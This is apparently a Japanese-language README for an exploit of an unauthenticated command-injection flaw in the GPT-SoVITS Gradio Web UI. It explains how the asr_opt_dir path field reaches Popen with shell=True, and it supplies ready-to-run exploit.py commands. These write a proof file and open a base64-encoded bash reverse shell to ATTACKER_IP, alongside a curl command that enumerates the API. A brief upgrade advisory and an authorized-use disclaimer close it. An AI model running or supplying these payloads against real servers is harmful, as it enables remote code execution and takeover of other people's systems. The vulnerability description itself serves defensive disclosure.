
GPT-SoVITS Gradio Web UI用の未認証OSコマンドインジェクションエクスプロイト。オーディオ処理ヘルパーのサニタイズされていないパスパラメータを介してRCEを実現し、承認されたセキュリティテスト用のリバースシェルとファイル書き込みをサポートします。
GPT-SoVITS の Gradio Web UI(webui.py)における
認証なしリモートコード実行。
音声処理ヘルパー(open_asr、open_slice、open_denoise、open_uvr5)は、
サニタイズされていない Gradio テキストボックスの パス 値を、Popen(..., shell=True) で実行されるシェルコマンドに
直接挿入します。パスは clean_path() に渡されるだけで、これは単に
先頭・末尾の引用符とスペースを取り除くだけです — 途中 にあるシェルメタ文字は生き残ります。
asr_opt_dir フィールドは存在確認すらされないため、コマンド置換 $(...) は
-o "$(...)" 内に埋め込まれ、Web UI プロセスの実行ユーザーとして実行されます。Web UI は
で提供されるため、1回のリクエストで十分です。
<= 20250606v2pro9874(Gradio Web UI、認証なし)pip install gradio_client
# write proof to a file on the target
python3 exploit.py http://10.10.10.10:9874/ -c 'id > /tmp/pwned 2>&1'
# reverse shell (base64 keeps the payload quote-free inside the $() context;
# bash -c is needed because the sink runs under /bin/sh, which lacks /dev/tcp)
B64=$(echo -n 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1' | base64 -w0)
python3 exploit.py http://10.10.10.10:9874/ -c "echo $B64|base64 -d|bash"
注入されたコマンドは サーバー 上で実行されますが、その出力は返されないため、結果を確認するにはリバース
シェルを使用してください(または読み取り可能なパスに書き込みます)。asr_opt_dir は
$(...) で囲まれるため、ASR モデルがインストールされているかどうかに関係なく、コマンド置換で
実行されます。
open_asr は次のように構築して実行します:
asr_opt_dir = clean_path(asr_opt_dir) # only strips leading/trailing quotes/spaces
cmd += f' -o "{asr_opt_dir}"' # asr_opt_dir NOT existence-checked
Popen(cmd, shell=True) # /bin/sh runs $(...) inside the -o "..."
Gradio UI は /config で API サーフェスを公開しています:
curl -s http://10.10.10.10:9874/config | python3 -c "import sys,json;print([x['api_name'] for x in json.load(sys.stdin)['dependencies'] if x.get('api_name')][:12])"
# [... 'open_asr', 'close_asr', 'open_slice', ...]
GPT-SoVITS 20250606v2pro より新しいバージョンにアップグレードし、Web UI を信頼できないネットワークに公開せず、
特権ユーザーとして実行しないでください。
許可されたセキュリティテストおよび教育目的のみに使用してください。自分が所有するシステム、または 明示的なテスト許可を得たシステムに対してのみ使用してください。